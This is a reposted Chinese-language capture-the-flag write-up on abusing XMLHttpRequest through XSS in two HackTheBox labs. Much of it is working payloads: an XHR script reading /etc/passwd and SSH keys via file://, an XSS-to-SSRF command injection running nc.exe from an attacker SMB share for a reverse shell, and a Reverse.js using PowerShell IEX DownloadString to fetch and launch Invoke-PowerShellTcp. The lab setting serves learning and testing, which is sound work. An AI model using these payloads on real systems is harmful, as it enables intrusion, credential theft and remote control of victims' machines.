记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

从两道靶场题目看XHR

2020-04-01 13:29

**0x01、什么是XHR

**
XHR,也就是XMLHttpRequest,是现代浏览器都有的一个内置对象,使用 XMLHttpRequest对象可以与服务器交互。无需刷新整个页面即可从URL获取数据,允许网页在不影响用户的操作的情况下更新页面的局部内容,多应用于 AJAX 编程中。

特别注意的是XMLHttpRequest 可以用于获取任何类型的数据,而不仅仅是XML,它甚至支持 HTTP 以外的协议(包括 file:// 和 FTP)

**0x02、利用一:读取本地文件

**
适用于XSS打到后台管理员,以普通用户身份构造payload发送给管理员,登录后台触发payload并查看回显(也就是拿到cookie能够登录后台的情况)

以Hackthebox的book靶场为例:

情景描述:普通用户能够上传pdf文件,且能够自定义Title和Author,管理员能够下载用户上传的pdf;登录管理员发现Title字段插入的xss解析并显示在管理员能够看到的pdf标题中

验证:Title字段插入内容更改为

<script>document.write(Date());</script>

进一步利用:利用XHR读取本地文件
本来直接想到的是在浏览器本地同源的情况下file协议读取:<利用iframe的file协议>

<iframe src="file:///etc/passwd"></iframe>

没有回显

<script>document.write('<iframe src=file:///etc/passwd></iframe>')</script>

还是没有回显

姿势不够,直接使用iframe插入paylaod没有回显,但是说明了可以使用file协议,尝试使用XHR发送Ajax请求并利用File协议读取:

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

Tips:由于这里对Title内容没有字数限制,所以我直接插入完整paylaod,有字数限制的情况下可以写入js文件中,后面会讲到

同样的方法可以直接读取到该服务器的用户ssh私钥进行登录

0x03、利用二:由XSS到SSRF之命令执行

这个条件比较苛刻,需要有命令执行,但是对执行者的IP进行验证,这里以HackTheBox的Bankrobber中的例子为例

情景描述:页面端有个backdoorchecker.php页面,能够执行dir命令(限制不严,很简单就绕过),但是只允许本地执行,直接看代码(通过SQL注入已读取到源码)

简易思路:现有XSS,尝试结合XMLHttpRequest借用本地账户进行操作:借用管理员身份打开backerdoorchecker.php绕过IP限制(即转换成SSRF),并构造payload绕过命令执行限制

漏洞利用:借助smb执行我们攻击机上的nc反弹shell (smb服务可以借助impacket套件中的smbserver.py快速搭建)
Payload:

<script> var x = new XMLHttpRequest(); x.open("POST", "backdoorchecker.php", true); x.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); x.send('cmd=dir xxx || \\\\10.10.16.21\\ica\\nc.exe -e cmd.exe 10.10.16.21 9999');</script>

'####nc -lvvp 9999 即可回弹shell

**0x04、一点小小扩展

**
这里可以把payload写到js文件中,然后插入我们的js文件即可,关于如何编写XHR的js文件的链接会放到文末。
这里针对利用二,还有另外的利用方式,即通过powershell IEX下载脚本并反弹PowerShellTcp.ps1并反弹。既然提到了js文件的方式,就以这种方式构造payload:
XSS框直接插入:

<script src="http://img403.hackdig.com/imgpxy.php?url=sj.esrever%2F0008%3A12.61.01.01%2F%2F%3Aptth"></script>

Reverse.js文件内容如下:

function paintfunc(){
var http = new XMLHttpRequest();
var url = 'http://localhost/admin/backdoorchecker.php';
var params = 'cmd=dir| powershell -c "iex (New-Object Net.WebClient).DownloadString(\'http://10.10.16.21:8000/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.21 -Port 9969"';
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.send(params);
}
paintfunc();

0x05、题后话
1)、关于XSS结合XHR还有更多利用,如不能登录后台的情况下添加管理员等

2)、关于iframe没有回显的问题:这是由于iframe是通过浏览器本地同源来进行加载文件的,即不能通过网络加载,我们简单做个测试:
创建iframe.html,写入如下语句

<iframe src="file:///F:/password.txt"></iframe>

直接在本地直接打开

放到网站目录下通过浏览器访问:

链接:
https://www.w3schools.com/xml/xml_http.asp
http://heartsky.info/2017/08/30/%E6%B5%85%E8%B0%88-XSS-%E5%8F%91%E9%80%81%E5%A4%96%E5%9F%9F%E8%AF%B7%E6%B1%82/
https://blog.0daylabs.com/2014/11/01/xss-ex-filtrating-data-xmlhttprequest-js-pentesters-task-15-write/

知识来源: xz.aliyun.com/t/7473

阅读:17578 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“从两道靶场题目看XHR”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

学习黑客技术,传播黑客文化

推广

工具

标签云

本页关键词